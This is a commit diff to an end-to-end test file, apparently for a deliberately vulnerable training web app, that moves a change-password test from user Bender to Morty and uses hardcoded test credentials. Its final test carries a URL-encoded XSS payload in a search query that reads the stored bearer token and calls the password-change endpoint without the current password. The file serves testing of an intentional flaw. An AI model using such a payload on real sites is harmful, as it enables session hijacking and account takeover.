message: Change Morty's password instead of Bender's
diff: @@ -3,8 +3,8 @@ const config = require('config')
  describe('/#/privacy-security/change-password', () => {
  let currentPassword, newPassword, newPasswordRepeat, changeButton
  - describe('as Bender', () => {
  - protractor.beforeEach.login({ email: 'bender@' + config.get('application.domain'), password: 'OhG0dPlease1nsertLiquor!' })
  + describe('as Morty', () => {
  + protractor.beforeEach.login({ email: 'morty@' + config.get('application.domain'), password: 'focusOnScienceMorty!focusOnScience' })
  beforeEach(() => {
  browser.get('/#/privacy-security/change-password')
  @@ -15,9 +15,9 @@ describe('/#/privacy-security/change-password', () => {
  })
  it('should be able to change password', () => {
  - currentPassword.sendKeys('OhG0dPlease1nsertLiquor!')
  - newPassword.sendKeys('genderBender')
  - newPasswordRepeat.sendKeys('genderBender')
  + currentPassword.sendKeys('focusOnScienceMorty!focusOnScience')
  + newPassword.sendKeys('GonorrheaCantSeeUs!IfWeDontMove')
  + newPasswordRepeat.sendKeys('GonorrheaCantSeeUs!IfWeDontMove')
  changeButton.click()
  expect($('.confirmation').getAttribute('hidden')).not.toBeTruthy()
  @@ -25,7 +25,7 @@ describe('/#/privacy-security/change-password', () => {
  })
  describe('challenge "changePasswordBenderChallenge"', () => {
  - protractor.beforeEach.login({ email: 'bender@' + config.get('application.domain'), password: 'genderBender' })
  + protractor.beforeEach.login({ email: 'bender@' + config.get('application.domain'), password: 'OhG0dPlease1nsertLiquor!' })
  it('should be able to change password via XSS-powered attack on password change without passing current password', () => {
  browser.get('/#/search?q=%3Ciframe%20src%3D%22javascript%3Axmlhttp%20%3D%20new%20XMLHttpRequest%28%29%3B%20xmlhttp.open%28%27GET%27%2C%20%27http%3A%2F%2Flocalhost%3A3000%2Frest%2Fuser%2Fchange-password%3Fnew%3DslurmCl4ssic%26amp%3Brepeat%3DslurmCl4ssic%27%29%3B%20xmlhttp.setRequestHeader%28%27Authorization%27%2C%60Bearer%3D%24%7BlocalStorage.getItem%28%27token%27%29%7D%60%29%3B%20xmlhttp.send%28%29%3B%22%3E')
  